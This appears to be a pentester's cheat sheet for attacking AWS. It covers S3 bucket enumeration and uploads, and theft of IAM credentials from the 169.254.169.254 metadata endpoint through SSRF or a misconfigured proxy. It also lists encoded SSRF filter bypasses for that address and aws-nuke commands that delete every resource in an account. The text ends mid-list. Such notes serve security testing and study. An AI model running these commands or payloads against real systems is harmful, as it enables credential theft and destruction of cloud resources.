• Programmatic access - Access + Secret Key
◇ Secret Access Key and Access Key ID for authenticating via scripts and CLI
• Management Console Access
◇ Web Portal Access to AWS
◇ Some web applications may pull content directly from S3 buckets
◇ Look to see where web resources are being loaded from to determine if S3 buckets are being utilized
◇ Navigate application like you normally would and then check for any requests to:
• Amazon Simple Storage Service (S3)
◇ Storage service that is “secure by default”
◇ Configuration issues tend to unsecure buckets by making them publicly accessible
◇ Nslookup can help reveal region
▪ https://s3-[region].amazonaws.com/[Org Name]
# aws s3 ls s3://bucket-name-here --region
# aws s3api get-bucket-acl --bucket bucket-name-here
# aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
• Elastic Block Store (EBS)
• Can have similar issues to S3 being publicly available
• Difficult to target specific org but can find widespread leaks
• SSH keys created when started, RDP for Windows.
• Security groups to handle open ports and allowed IPs.
AWS Instance Metadata URL
• Cloud servers hosted on services like EC2 needed a way to orient themselves because of how dynamic they are
• A “Metadata” endpoint was created and hosted on a non-routable IP address at 169.254.169.254
• Can contain access/secret keys to AWS and IAM credentials
• This should only be reachable from the localhost
• Server compromise or SSRF vulnerabilities might allow remote attackers to reach it
• IAM credentials can be stored here:
• Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS.
◇ curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
◇ Attacker exploited SSRF on EC2 server and accessed metadata URL to get IAM access keys. Then, used keys to dump S3 bucket containing 100 million individual’s data.
• AWS EC2 Instance Metadata service Version 2 (IMDSv2)
• Updated in November 2019 – Both v1 and v2 are available
• Supposed to defend the metadata service against SSRF and reverse proxy vulns
• Added session auth to requests
• First, a “PUT” request is sent and then responded to with a token
• Then, that token can be used to query data
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
• What do our access keys give us access to?
• Check AIO tools to do some recon (WeirdAAL- recon_module, PACU privesc,...)
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
# AWS nuke - remove all AWS services of our account
- Fill nuke-config.yml with the output of aws sts get-caller-identity
./aws-nuke -c nuke-config.yml # Checks what will be removed
- If fails because there is no alias created
aws iam create-account-alias --account-alias unique-name
./aws-nuke -c nuke-config.yml --no-dry-run # Will perform delete operation
aws eks list-clusters | jq -rc '.clusters'
aws eks update-kubeconfig --name example
2. SSRF AWS Bypasses to access metadata endpoint.
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
# Interesting metadata instance urls: